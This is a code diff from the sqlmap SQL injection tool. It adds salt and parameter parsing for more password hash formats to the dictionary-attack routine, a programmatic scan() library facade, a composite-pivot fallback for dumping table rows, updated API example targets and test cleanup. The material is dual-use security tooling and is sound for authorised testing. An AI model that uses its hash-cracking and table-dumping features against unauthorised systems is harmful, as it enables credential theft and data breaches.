hash_ = hash_.lower()
|
||||||
|
|
||||||
if hash_regex in (HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64):
|
if hash_regex in (HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64):
|
||||||
|
|
@ -1068,10 +1402,32 @@ def dictionaryAttack(attack_dict):
|
||||||
item = [(user, hash_), {"salt": hash_[0:2]}]
|
item = [(user, hash_), {"salt": hash_[0:2]}]
|
||||||
elif hash_regex in (HASH.UNIX_MD5_CRYPT, HASH.APACHE_MD5_CRYPT):
|
elif hash_regex in (HASH.UNIX_MD5_CRYPT, HASH.APACHE_MD5_CRYPT):
|
||||||
item = [(user, hash_), {"salt": hash_.split('$')[2], "magic": "$%s$" % hash_.split('$')[1]}]
|
item = [(user, hash_), {"salt": hash_.split('$')[2], "magic": "$%s$" % hash_.split('$')[1]}]
|
||||||
|
elif hash_regex in (HASH.SHA256_UNIX_CRYPT, HASH.SHA512_UNIX_CRYPT):
|
||||||
|
item = [(user, hash_), {"salt": '$'.join(hash_.split('$')[2:-1]), "magic": "$%s$" % hash_.split('$')[1]}]
|
||||||
|
elif hash_regex in (HASH.BCRYPT,):
|
||||||
|
item = [(user, hash_), {"salt": hash_[7:29], "magic": hash_[:4], "cost": int(hash_[4:6])}]
|
||||||
|
elif hash_regex in (HASH.WORDPRESS_BCRYPT,):
|
||||||
|
item = [(user, hash_), {"salt": hash_[10:32], "magic": hash_[3:7], "cost": int(hash_[7:9])}]
|
||||||
|
elif hash_regex in (HASH.ASPNET_IDENTITY,):
|
||||||
|
_ = decodeBase64(hash_, binary=True)
|
||||||
|
prf, iterations, saltlen = struct.unpack(">III", _[1:13])
|
||||||
|
item = [(user, hash_), {"salt": _[13:13 + saltlen], "iterations": iterations, "prf": prf, "dklen": len(_) - 13 - saltlen}]
|
||||||
|
elif hash_regex in (HASH.MYSQL_SHA2,):
|
||||||
|
_ = hash_.split('*')
|
||||||
|
item = [(user, hash_), {"salt": decodeHex(_[1]), "rounds": int(_[0].split('$')[-1], 16) * 1000, "prefix": hash_[:hash_.rindex('*') + 1]}]
|
||||||
elif hash_regex in (HASH.JOOMLA, HASH.VBULLETIN, HASH.VBULLETIN_OLD, HASH.OSCOMMERCE_OLD):
|
elif hash_regex in (HASH.JOOMLA, HASH.VBULLETIN, HASH.VBULLETIN_OLD, HASH.OSCOMMERCE_OLD):
|
||||||
item = [(user, hash_), {"salt": hash_.split(':')[-1]}]
|
item = [(user, hash_), {"salt": hash_.split(':')[-1]}]
|
||||||
elif hash_regex in (HASH.DJANGO_MD5, HASH.DJANGO_SHA1):
|
elif hash_regex in (HASH.DJANGO_MD5, HASH.DJANGO_SHA1):
|
||||||
item = [(user, hash_), {"salt": hash_.split('$')[1]}]
|
item = [(user, hash_), {"salt": hash_.split('$')[1]}]
|
||||||
|
elif hash_regex in (HASH.DJANGO_PBKDF2_SHA256,):
|
||||||
|
item = [(user, hash_), {"salt": hash_.split('$')[2], "iterations": int(hash_.split('$')[1])}]
|
||||||
|
elif hash_regex in (HASH.POSTGRES_SCRAM,):
|
||||||
|
item = [(user, hash_), {"salt": hash_.split('$')[1].split(':')[1], "iterations": int(hash_.split('$')[1].split(':')[0])}]
|
||||||
|
elif hash_regex in (HASH.WERKZEUG_PBKDF2,):
|
||||||
|
item = [(user, hash_), {"salt": hash_.split('$')[1], "iterations": int(hash_.split('$')[0].split(':')[2]), "digestmod": hash_.split('$')[0].split(':')[1]}]
|
||||||
|
elif hash_regex in (HASH.WERKZEUG_SCRYPT,):
|
||||||
|
_ = hash_.split('$')[0].split(':')
|
||||||
|
item = [(user, hash_), {"salt": hash_.split('$')[1], "N": int(_[1]), "r": int(_[2]), "p": int(_[3])}]
|
||||||
elif hash_regex in (HASH.PHPASS,):
|
elif hash_regex in (HASH.PHPASS,):
|
||||||
if ITOA64.index(hash_[3]) < 32:
|
if ITOA64.index(hash_[3]) < 32:
|
||||||
item = [(user, hash_), {"salt": hash_[4:12], "count": 1 << ITOA64.index(hash_[3]), "prefix": hash_[:3]}]
|
item = [(user, hash_), {"salt": hash_[4:12], "count": 1 << ITOA64.index(hash_[3]), "prefix": hash_[:3]}]
|
||||||
|
|
@ -1102,7 +1458,7 @@ def dictionaryAttack(attack_dict):
|
||||||
while not kb.wordlists:
|
while not kb.wordlists:
|
||||||
|
|
||||||
# the slowest of all methods hence smaller default dict
|
# the slowest of all methods hence smaller default dict
|
||||||
if hash_regex in (HASH.ORACLE_OLD, HASH.PHPASS):
|
if hash_regex in (HASH.ORACLE_OLD, HASH.PHPASS, HASH.SHA256_UNIX_CRYPT, HASH.SHA512_UNIX_CRYPT, HASH.WERKZEUG_SCRYPT, HASH.BCRYPT, HASH.WORDPRESS_BCRYPT, HASH.MYSQL_SHA2):
|
||||||
dictPaths = [paths.SMALL_DICT]
|
dictPaths = [paths.SMALL_DICT]
|
||||||
else:
|
else:
|
||||||
dictPaths = [paths.WORDLIST]
|
dictPaths = [paths.WORDLIST]
|
||||||
|
|
|
||||||
190
lib/utils/library.py
Normal file
190
lib/utils/library.py
Normal file
|
|
@ -0,0 +1,190 @@
|
||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
# Library facade for programmatic (in-code) usage: 'import sqlmap; sqlmap.scan(...)'.
|
||||||
|
#
|
||||||
|
# This is the code-level sibling of the REST API (lib/utils/api.py): both drive the engine as an
|
||||||
|
# isolated subprocess for programmatic callers. The public names here are re-exported by sqlmap.py so
|
||||||
|
# that they are reachable as 'sqlmap.scan', 'sqlmap.scanFromRequest' and 'sqlmap.SqlmapError'.
|
||||||
|
|
||||||
|
import json
|
||||||
|
import os
|
||||||
|
import sys
|
||||||
|
import tempfile
|
||||||
|
|
||||||
|
__all__ = ["scan", "scanFromRequest", "SqlmapError"]
|
||||||
|
|
||||||
|
# Absolute path of the engine entry point (this module lives at <root>/lib/utils/library.py)
|
||||||
|
SQLMAP_FILE = os.path.join(os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))), "sqlmap.py")
|
||||||
|
|
||||||
|
class SqlmapError(Exception):
|
||||||
|
"""
|
||||||
|
Raised by the library facade (scan/scanFromRequest) when a scan can not produce a result report
|
||||||
|
"""
|
||||||
|
|
||||||
|
pass
|
||||||
|
|
||||||
|
def _terminateProcess(process):
|
||||||
|
"""
|
||||||
|
Best-effort hard teardown of a scan subprocess together with its whole process group, so a
|
||||||
|
timed-out scan never leaves orphaned sqlmap workers behind (POSIX kills the group, others fall
|
||||||
|
back to killing the process itself)
|
||||||
|
"""
|
||||||
|
|
||||||
|
import signal
|
||||||
|
|
||||||
|
try:
|
||||||
|
if os.name != "nt" and hasattr(os, "killpg"):
|
||||||
|
os.killpg(os.getpgid(process.pid), getattr(signal, "SIGKILL", signal.SIGTERM))
|
||||||
|
else:
|
||||||
|
process.kill()
|
||||||
|
except (OSError, AttributeError):
|
||||||
|
try:
|
||||||
|
process.kill()
|
||||||
|
except (OSError, AttributeError):
|
||||||
|
pass
|
||||||
|
|
||||||
|
def scan(url=None, requestFile=None, timeout=None, outputDir=None, raw=None, **options):
|
||||||
|
"""
|
||||||
|
Runs a sqlmap scan in a dedicated subprocess and returns its structured result (library usage).
|
||||||
|
|
||||||
|
Keyword options are plain sqlmap option names - exactly the names used in a sqlmap configuration
|
||||||
|
file (data/sqlmap.conf) and by the REST API, i.e. the 'conf' names, NOT command line switches. So
|
||||||
|
scan(url, technique="BEU", getBanner=True, dumpTable=True, tbl="users", level=3) is equivalent to
|
||||||
|
the config file lines 'technique = BEU', 'getBanner = True', 'dumpTable = True', 'tbl = users',
|
||||||
|
'level = 3'. Unknown names are rejected. The scan is driven through a generated config file passed
|
||||||
|
with '-c' (the same mechanism the REST API uses), so there is a single option namespace and no
|
||||||
|
argument escaping. 'raw' takes a list of extra raw command line switches for the rare thing not
|
||||||
|
expressible as a config option (e.g. raw=["--fresh-queries"]).
|
||||||
|
|
||||||
|
The engine runs fully out-of-process, so a scan can never affect the calling process (no shared
|
||||||
|
global state, no HTTP-stack patching, no risk of the host being exited). The return value is the
|
||||||
|
parsed '--report-json' report - the same structure as the REST API '/scan/<id>/data' response: a
|
||||||
|
dict with keys 'success', 'data' (a list of {'type_name', 'value'} entries: TARGET, TECHNIQUES,
|
||||||
|
BANNER, DUMP_TABLE, ...), 'error' and 'meta'.
|
||||||
|
|
||||||
|
scan() is blocking and thread-safe, so it is both thread- and asyncio-ready: run several at once
|
||||||
|
in threads, or from an event loop with 'await loop.run_in_executor(None, functools.partial(scan,
|
||||||
|
url, dumpTable=True))'. For unattended/concurrent use the run is hardened like the REST API
|
||||||
|
subprocess: batch mode (never prompts) with stdin closed, isolated file descriptors, its own
|
||||||
|
output directory (so parallel scans of the same target can not collide on session/dump files and
|
||||||
|
nothing accumulates on disk), engine output streamed to a temporary file rather than buffered in
|
||||||
|
memory, and - when 'timeout' is set - the whole subprocess group is torn down on expiry. Pass
|
||||||
|
'outputDir' to keep the run's files.
|
||||||
|
|
||||||
|
Example:
|
||||||
|
import sqlmap
|
||||||
|
result = sqlmap.scan("http://target/vuln.php?id=1", dumpTable=True, tbl="users")
|
||||||
|
"""
|
||||||
|
|
||||||
|
import shutil
|
||||||
|
import subprocess
|
||||||
|
import time
|
||||||
|
|
||||||
|
from lib.core.common import saveConfig
|
||||||
|
from lib.core.optiondict import optDict
|
||||||
|
|
||||||
|
if not (url or requestFile):
|
||||||
|
raise SqlmapError("scan() requires either 'url' or 'requestFile'")
|
||||||
|
|
||||||
|
if not os.path.isfile(SQLMAP_FILE):
|
||||||
|
raise SqlmapError("could not locate the sqlmap engine ('%s')" % SQLMAP_FILE)
|
||||||
|
|
||||||
|
knownOptions = set()
|
||||||
|
for family in optDict.values():
|
||||||
|
knownOptions.update(family)
|
||||||
|
|
||||||
|
config = {}
|
||||||
|
if url:
|
||||||
|
config["url"] = url
|
||||||
|
if requestFile:
|
||||||
|
config["requestFile"] = requestFile
|
||||||
|
config.update(options)
|
||||||
|
|
||||||
|
unknown = [_ for _ in config if _ not in knownOptions]
|
||||||
|
if unknown:
|
||||||
|
raise SqlmapError("unknown option(s) %s - scan() expects sqlmap option names as used in a configuration file (e.g. getBanner, dumpTable, tbl, technique, level), not command line switches" % ", ".join(repr(_) for _ in sorted(unknown)))
|
||||||
|
|
||||||
|
handle, report = tempfile.mkstemp(prefix="sqlmap-", suffix=".json")
|
||||||
|
os.close(handle)
|
||||||
|
|
||||||
|
# Each run gets its own output directory so concurrent scans can not collide on session/dump files
|
||||||
|
# and no scan state piles up on disk. A caller-provided 'outputDir' is respected and left in place.
|
||||||
|
ownOutput = not outputDir
|
||||||
|
if ownOutput:
|
||||||
|
outputDir = tempfile.mkdtemp(prefix="sqlmap-output-")
|
||||||
|
|
||||||
|
# engine plumbing goes through the very same option namespace
|
||||||
|
config["batch"] = True
|
||||||
|
config["disableColoring"] = True
|
||||||
|
config["outputDir"] = outputDir
|
||||||
|
config["reportJson"] = report
|
||||||
|
|
||||||
|
handle, configFile = tempfile.mkstemp(prefix="sqlmap-", suffix=".conf")
|
||||||
|
os.close(handle)
|
||||||
|
saveConfig(config, configFile)
|
||||||
|
|
||||||
|
argv = [sys.executable or "python", SQLMAP_FILE, "-c", configFile, "--ignore-stdin"]
|
||||||
|
if raw:
|
||||||
|
argv += list(raw)
|
||||||
|
|
||||||
|
logHandle, logFile = tempfile.mkstemp(prefix="sqlmap-", suffix=".log")
|
||||||
|
devnull = open(os.devnull, "rb")
|
||||||
|
|
||||||
|
kwargs = {"shell": False, "close_fds": os.name != "nt", "cwd": os.path.dirname(SQLMAP_FILE) or '.', "stdin": devnull, "stdout": logHandle, "stderr": subprocess.STDOUT}
|
||||||
|
if os.name == "nt":
|
||||||
|
kwargs["creationflags"] = getattr(subprocess, "CREATE_NEW_PROCESS_GROUP", 0)
|
||||||
|
elif sys.version_info >= (3, 2):
|
||||||
|
kwargs["start_new_session"] = True # own process group -> clean group teardown
|
||||||
|
else:
|
||||||
|
kwargs["preexec_fn"] = os.setsid
|
||||||
|
|
||||||
|
process = None
|
||||||
|
try:
|
||||||
|
process = subprocess.Popen(argv, **kwargs)
|
||||||
|
|
||||||
|
if timeout is None:
|
||||||
|
process.wait()
|
||||||
|
else:
|
||||||
|
end = time.time() + timeout
|
||||||
|
while process.poll() is None:
|
||||||
|
if time.time() > end:
|
||||||
|
_terminateProcess(process)
|
||||||
|
process.wait()
|
||||||
|
raise SqlmapError("scan timed out after %s second(s)" % timeout)
|
||||||
|
time.sleep(0.5)
|
||||||
|
|
||||||
|
try:
|
||||||
|
with open(report, "rb") as f:
|
||||||
|
return json.loads(f.read().decode("utf-8", "replace"))
|
||||||
|
except (IOError, OSError, ValueError):
|
||||||
|
try:
|
||||||
|
with open(logFile, "rb") as f:
|
||||||
|
tail = f.read().decode("utf-8", "replace").strip()
|
||||||
|
except (IOError, OSError):
|
||||||
|
tail = ""
|
||||||
|
raise SqlmapError("scan did not produce a valid report (exit code %s)\n%s" % (getattr(process, "returncode", None), tail[-1000:]))
|
||||||
|
finally:
|
||||||
|
try:
|
||||||
|
os.close(logHandle)
|
||||||
|
except OSError:
|
||||||
|
pass
|
||||||
|
devnull.close()
|
||||||
|
for path in (report, logFile, configFile):
|
||||||
|
try:
|
||||||
|
os.remove(path)
|
||||||
|
except OSError:
|
||||||
|
pass
|
||||||
|
if ownOutput:
|
||||||
|
shutil.rmtree(outputDir, ignore_errors=True)
|
||||||
|
|
||||||
|
def scanFromRequest(requestFile, **options):
|
||||||
|
"""
|
||||||
|
Convenience wrapper for scan(requestFile=...) - runs a scan from a saved HTTP request file ('-r')
|
||||||
|
"""
|
||||||
|
|
||||||
|
return scan(requestFile=requestFile, **options)
|
||||||
|
|
@ -45,6 +45,7 @@ def pivotDumpTable(table, colList, count=None, blind=True, alias=None):
|
||||||
|
|
||||||
validColumnList = False
|
validColumnList = False
|
||||||
validPivotValue = False
|
validPivotValue = False
|
||||||
|
compositePivot = None
|
||||||
|
|
||||||
if count is None:
|
if count is None:
|
||||||
query = dumpNode.count % table
|
query = dumpNode.count % table
|
||||||
|
|
@ -118,6 +119,26 @@ def pivotDumpTable(table, colList, count=None, blind=True, alias=None):
|
||||||
errMsg = "all provided column name(s) are non-existent"
|
errMsg = "all provided column name(s) are non-existent"
|
||||||
raise SqlmapNoneDataException(errMsg)
|
raise SqlmapNoneDataException(errMsg)
|
||||||
|
|
||||||
|
if not validPivotValue:
|
||||||
|
# No single column holds all-distinct values. Fall back to a COMPOSITE pivot (a
|
||||||
|
# concatenation of every column) whose combined value is unique per row, so rows sharing
|
||||||
|
# a value in every individual column are no longer silently dropped (ref: #1545).
|
||||||
|
_composite = agent.concatQuery(','.join(colList))
|
||||||
|
query = dumpNode.count2 % (_composite, table)
|
||||||
|
query = agent.whereQuery(query)
|
||||||
|
value = inject.getValue(query, blind=blind, union=not blind, error=not blind, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
|
||||||
|
|
||||||
|
if isNumPosStrValue(value) and int(value) == count:
|
||||||
|
infoMsg = "using a concatenation of all columns as a "
|
||||||
|
infoMsg += "composite pivot for retrieving row data"
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
compositePivot = _composite
|
||||||
|
lengths[compositePivot] = 0
|
||||||
|
entries[compositePivot] = BigArray()
|
||||||
|
colList.insert(0, compositePivot)
|
||||||
|
validPivotValue = True
|
||||||
|
|
||||||
if not validPivotValue:
|
if not validPivotValue:
|
||||||
warnMsg = "no proper pivot column provided (with unique values)."
|
warnMsg = "no proper pivot column provided (with unique values)."
|
||||||
warnMsg += " It won't be possible to retrieve all rows"
|
warnMsg += " It won't be possible to retrieve all rows"
|
||||||
|
|
@ -186,4 +207,9 @@ def pivotDumpTable(table, colList, count=None, blind=True, alias=None):
|
||||||
|
|
||||||
logger.critical(errMsg)
|
logger.critical(errMsg)
|
||||||
|
|
||||||
|
# The composite pivot is a synthetic paging key, not a real column - drop it from the output
|
||||||
|
if compositePivot is not None:
|
||||||
|
entries.pop(compositePivot, None)
|
||||||
|
lengths.pop(compositePivot, None)
|
||||||
|
|
||||||
return entries, lengths
|
return entries, lengths
|
||||||
|
|
|
||||||
11
sqlmap.py
11
sqlmap.py
|
|
@ -192,6 +192,9 @@ def main():
|
||||||
elif conf.vulnTest:
|
elif conf.vulnTest:
|
||||||
from lib.core.testing import vulnTest
|
from lib.core.testing import vulnTest
|
||||||
os._exitcode = 1 - (vulnTest() or 0)
|
os._exitcode = 1 - (vulnTest() or 0)
|
||||||
|
elif conf.fpTest:
|
||||||
|
from lib.core.testing import fpTest
|
||||||
|
os._exitcode = 1 - (fpTest() or 0)
|
||||||
elif conf.apiTest:
|
elif conf.apiTest:
|
||||||
from lib.core.testing import apiTest
|
from lib.core.testing import apiTest
|
||||||
os._exitcode = 1 - (apiTest() or 0)
|
os._exitcode = 1 - (apiTest() or 0)
|
||||||
|
|
@ -607,7 +610,7 @@ def main():
|
||||||
except OSError:
|
except OSError:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
if any((conf.vulnTest, conf.smokeTest, conf.apiTest)) or not filterNone(filepath for filepath in glob.glob(os.path.join(tempDir, '*')) if not any(filepath.endswith(_) for _ in (".lock", ".exe", ".so", '_'))): # ignore junk files
|
if any((conf.vulnTest, conf.fpTest, conf.smokeTest, conf.apiTest)) or not filterNone(filepath for filepath in glob.glob(os.path.join(tempDir, '*')) if not any(filepath.endswith(_) for _ in (".lock", ".exe", ".so", '_'))): # ignore junk files
|
||||||
try:
|
try:
|
||||||
shutil.rmtree(tempDir, ignore_errors=True)
|
shutil.rmtree(tempDir, ignore_errors=True)
|
||||||
except OSError:
|
except OSError:
|
||||||
|
|
@ -661,3 +664,9 @@ if __name__ == "__main__":
|
||||||
else:
|
else:
|
||||||
# cancelling postponed imports (because of CI/CD checks)
|
# cancelling postponed imports (because of CI/CD checks)
|
||||||
__import__("lib.controller.controller")
|
__import__("lib.controller.controller")
|
||||||
|
|
||||||
|
# exposing the programmatic library facade as 'sqlmap.scan()' / 'sqlmap.scanFromRequest()'
|
||||||
|
from lib.utils.library import scan, scanFromRequest, SqlmapError
|
||||||
|
|
||||||
|
# public library API (also marks the re-exported names above as intentional for pyflakes)
|
||||||
|
__all__ = ["scan", "scanFromRequest", "SqlmapError"]
|
||||||
|
|
|
||||||
|
|
@ -216,7 +216,7 @@ paths:
|
||||||
value:
|
value:
|
||||||
success: true
|
success: true
|
||||||
options:
|
options:
|
||||||
url: "http://testasp.vulnweb.com/showforum.asp?id=1"
|
url: "https://sekumart.sekuripy.hr/product.php?id=1"
|
||||||
batch: true
|
batch: true
|
||||||
threads: 1
|
threads: 1
|
||||||
invalidTask:
|
invalidTask:
|
||||||
|
|
@ -257,7 +257,7 @@ paths:
|
||||||
value:
|
value:
|
||||||
success: true
|
success: true
|
||||||
options:
|
options:
|
||||||
url: "http://testasp.vulnweb.com/showforum.asp?id=1"
|
url: "https://sekumart.sekuripy.hr/product.php?id=1"
|
||||||
cookie: "id=1"
|
cookie: "id=1"
|
||||||
unknownOption:
|
unknownOption:
|
||||||
value:
|
value:
|
||||||
|
|
@ -290,7 +290,7 @@ paths:
|
||||||
cookie: "id=1"
|
cookie: "id=1"
|
||||||
setTarget:
|
setTarget:
|
||||||
value:
|
value:
|
||||||
url: "http://testasp.vulnweb.com/showforum.asp?id=1"
|
url: "https://sekumart.sekuripy.hr/product.php?id=1"
|
||||||
responses:
|
responses:
|
||||||
"200":
|
"200":
|
||||||
description: Options set, or an API-level failure envelope.
|
description: Options set, or an API-level failure envelope.
|
||||||
|
|
@ -341,7 +341,7 @@ paths:
|
||||||
examples:
|
examples:
|
||||||
basicUrlScan:
|
basicUrlScan:
|
||||||
value:
|
value:
|
||||||
url: "http://testasp.vulnweb.com/showforum.asp?id=1"
|
url: "https://sekumart.sekuripy.hr/product.php?id=1"
|
||||||
responses:
|
responses:
|
||||||
"200":
|
"200":
|
||||||
description: Scan started, or an API-level failure envelope.
|
description: Scan started, or an API-level failure envelope.
|
||||||
|
|
@ -568,7 +568,7 @@ paths:
|
||||||
description: Target output-directory name.
|
description: Target output-directory name.
|
||||||
schema:
|
schema:
|
||||||
type: string
|
type: string
|
||||||
example: testasp.vulnweb.com
|
example: sekumart.sekuripy.hr
|
||||||
- name: filename
|
- name: filename
|
||||||
in: path
|
in: path
|
||||||
required: true
|
required: true
|
||||||
|
|
@ -788,7 +788,7 @@ components:
|
||||||
additionalProperties:
|
additionalProperties:
|
||||||
$ref: "#/components/schemas/OptionValue"
|
$ref: "#/components/schemas/OptionValue"
|
||||||
example:
|
example:
|
||||||
url: "http://testasp.vulnweb.com/showforum.asp?id=1"
|
url: "https://sekumart.sekuripy.hr/product.php?id=1"
|
||||||
cookie: "id=1"
|
cookie: "id=1"
|
||||||
batch: true
|
batch: true
|
||||||
threads: 1
|
threads: 1
|
||||||
|
|
|
||||||
|
|
@ -98,6 +98,22 @@ def set_dbms(name):
|
||||||
Backend.forceDbms(name)
|
Backend.forceDbms(name)
|
||||||
|
|
||||||
|
|
||||||
|
def reset_dbms():
|
||||||
|
"""Clear any DBMS forced via set_dbms()/Backend, restoring the clean post-bootstrap state.
|
||||||
|
|
||||||
|
A forced DBMS lives on the global `kb` singleton and is read by every dialect/agent path, so a
|
||||||
|
module that forces one without clearing it would leak that back-end into later test modules
|
||||||
|
(order-dependent flakiness). Modules that call set_dbms() should expose this as their
|
||||||
|
`tearDownModule` so the leak can never cross a module boundary.
|
||||||
|
"""
|
||||||
|
from lib.core.common import Backend
|
||||||
|
from lib.core.data import kb
|
||||||
|
from lib.core.settings import UNKNOWN_DBMS_VERSION
|
||||||
|
Backend.flushForcedDbms(force=True) # kb.forcedDbms = None; kb.stickyDBMS = False
|
||||||
|
kb.resolutionDbms = None
|
||||||
|
kb.dbmsVersion = [UNKNOWN_DBMS_VERSION]
|
||||||
|
|
||||||
|
|
||||||
# --- property/fuzz testing harness (shared so individual test files don't each reinvent it) ---
|
# --- property/fuzz testing harness (shared so individual test files don't each reinvent it) ---
|
||||||
|
|
||||||
_PROPERTY_BASE = 0x51A1
|
_PROPERTY_BASE = 0x51A1
|
||||||
|
|
|
||||||
|
|
@ -34,7 +34,7 @@ import sys
|
||||||
import unittest
|
import unittest
|
||||||
|
|
||||||
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||||
from _testutils import bootstrap, set_dbms
|
from _testutils import bootstrap, set_dbms, reset_dbms
|
||||||
bootstrap()
|
bootstrap()
|
||||||
|
|
||||||
from lib.core.agent import agent
|
from lib.core.agent import agent
|
||||||
|
|
@ -766,3 +766,7 @@ class TestAgentWhereQuery(unittest.TestCase):
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
unittest.main(verbosity=2)
|
unittest.main(verbosity=2)
|
||||||
|
|
||||||
|
|
||||||
|
def tearDownModule():
|
||||||
|
reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules
|
||||||
|
|
|
||||||
|
|
@ -86,6 +86,7 @@ class _ApiServerCase(unittest.TestCase):
|
||||||
"""
|
"""
|
||||||
|
|
||||||
def setUp(self):
|
def setUp(self):
|
||||||
|
self._saved_batch = conf.batch
|
||||||
conf.batch = True
|
conf.batch = True
|
||||||
|
|
||||||
# snapshot mutated globals
|
# snapshot mutated globals
|
||||||
|
|
@ -122,6 +123,7 @@ class _ApiServerCase(unittest.TestCase):
|
||||||
api.DataStore.username = self._saved["username"]
|
api.DataStore.username = self._saved["username"]
|
||||||
api.DataStore.password = self._saved["password"]
|
api.DataStore.password = self._saved["password"]
|
||||||
api.Database.filepath = self._saved["filepath"]
|
api.Database.filepath = self._saved["filepath"]
|
||||||
|
conf.batch = self._saved_batch
|
||||||
|
|
||||||
def _new_task(self):
|
def _new_task(self):
|
||||||
code, parsed, _ = _wsgi_call("GET", "/task/new")
|
code, parsed, _ = _wsgi_call("GET", "/task/new")
|
||||||
|
|
|
||||||
|
|
@ -28,14 +28,26 @@ from lib.core.bigarray import BigArray
|
||||||
N = 5000
|
N = 5000
|
||||||
|
|
||||||
|
|
||||||
|
_SPILLED = []
|
||||||
|
|
||||||
def _make_spilled():
|
def _make_spilled():
|
||||||
# tiny chunk_size guarantees many on-disk chunks for N items
|
# tiny chunk_size guarantees many on-disk chunks for N items
|
||||||
ba = BigArray(chunk_size=1024)
|
ba = BigArray(chunk_size=1024)
|
||||||
for i in range(N):
|
for i in range(N):
|
||||||
ba.append("item-%d" % i)
|
ba.append("item-%d" % i)
|
||||||
|
_SPILLED.append(ba) # tracked so tearDownModule closes it (release the on-disk chunk files)
|
||||||
return ba
|
return ba
|
||||||
|
|
||||||
|
|
||||||
|
def tearDownModule():
|
||||||
|
for ba in _SPILLED:
|
||||||
|
try:
|
||||||
|
ba.close()
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
del _SPILLED[:]
|
||||||
|
|
||||||
|
|
||||||
class TestSpill(unittest.TestCase):
|
class TestSpill(unittest.TestCase):
|
||||||
def test_actually_spilled_to_disk(self):
|
def test_actually_spilled_to_disk(self):
|
||||||
ba = _make_spilled()
|
ba = _make_spilled()
|
||||||
|
|
|
||||||
|
|
@ -22,7 +22,7 @@ import sys
|
||||||
import unittest
|
import unittest
|
||||||
|
|
||||||
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||||
from _testutils import bootstrap, set_dbms
|
from _testutils import bootstrap, set_dbms, reset_dbms
|
||||||
bootstrap()
|
bootstrap()
|
||||||
|
|
||||||
from lib.core.data import conf, kb
|
from lib.core.data import conf, kb
|
||||||
|
|
@ -196,3 +196,7 @@ class TestBrute(DbmsStateMixin, unittest.TestCase):
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
unittest.main(verbosity=2)
|
unittest.main(verbosity=2)
|
||||||
|
|
||||||
|
|
||||||
|
def tearDownModule():
|
||||||
|
reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules
|
||||||
|
|
|
||||||
|
|
@ -53,9 +53,10 @@ _CONF_KEYS = (
|
||||||
"notString", "regexp", "regex", "dummy", "offline", "skipWaf", "data",
|
"notString", "regexp", "regex", "dummy", "offline", "skipWaf", "data",
|
||||||
"hashDB", "cj", "cookie", "dropSetCookie", "httpHeaders", "proxy", "tor",
|
"hashDB", "cj", "cookie", "dropSetCookie", "httpHeaders", "proxy", "tor",
|
||||||
"tamper", "timeout", "retries", "textOnly", "ignoreCode", "disablePrecon",
|
"tamper", "timeout", "retries", "textOnly", "ignoreCode", "disablePrecon",
|
||||||
"ipv6", "multipleTargets", "level", "base64Parameter", "batch",
|
"ipv6", "multipleTargets", "level", "base64Parameter", "batch", "code", "titles",
|
||||||
)
|
)
|
||||||
_KB_KEYS = (
|
_KB_KEYS = (
|
||||||
|
"pageTemplate", "negativeLogic",
|
||||||
"heavilyDynamic", "dynamicParameter", "originalPage", "originalPageTime",
|
"heavilyDynamic", "dynamicParameter", "originalPage", "originalPageTime",
|
||||||
"originalCode", "ignoreCasted", "heuristicMode", "disableHtmlDecoding",
|
"originalCode", "ignoreCasted", "heuristicMode", "disableHtmlDecoding",
|
||||||
"heuristicTest", "heuristicPage", "heuristicCode", "pageStable",
|
"heuristicTest", "heuristicPage", "heuristicCode", "pageStable",
|
||||||
|
|
|
||||||
|
|
@ -19,14 +19,16 @@ irrelevant. Temp files go to the session scratchpad and are removed.
|
||||||
stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x.
|
stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
import atexit
|
||||||
import base64
|
import base64
|
||||||
import os
|
import os
|
||||||
|
import shutil
|
||||||
import sys
|
import sys
|
||||||
import tempfile
|
import tempfile
|
||||||
import unittest
|
import unittest
|
||||||
|
|
||||||
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||||
from _testutils import bootstrap, set_dbms
|
from _testutils import bootstrap, set_dbms, reset_dbms
|
||||||
bootstrap()
|
bootstrap()
|
||||||
|
|
||||||
from lib.core.data import conf, kb, paths
|
from lib.core.data import conf, kb, paths
|
||||||
|
|
@ -119,7 +121,8 @@ from lib.core.common import (
|
||||||
zeroDepthSearch,
|
zeroDepthSearch,
|
||||||
)
|
)
|
||||||
|
|
||||||
SCRATCH = "/tmp/claude-1000/-tmp-tmp-oUnlQJzlQN/fcd55d25-6313-49ed-817e-dcbe7fc2bf22/scratchpad"
|
SCRATCH = tempfile.mkdtemp(prefix="sqlmap-tests-") # per-run temp dir (portable; replaces a stale hardcoded path)
|
||||||
|
atexit.register(lambda: shutil.rmtree(SCRATCH, ignore_errors=True))
|
||||||
|
|
||||||
|
|
||||||
def _write_temp(content, suffix):
|
def _write_temp(content, suffix):
|
||||||
|
|
@ -1317,10 +1320,9 @@ class TestCommonChunkSplit(unittest.TestCase):
|
||||||
random.choice, random.randint, random.sample, random.seed = _saved
|
random.choice, random.randint, random.sample, random.seed = _saved
|
||||||
|
|
||||||
def test_chunk_split_terminator(self):
|
def test_chunk_split_terminator(self):
|
||||||
import random
|
|
||||||
from lib.core.common import chunkSplitPostData
|
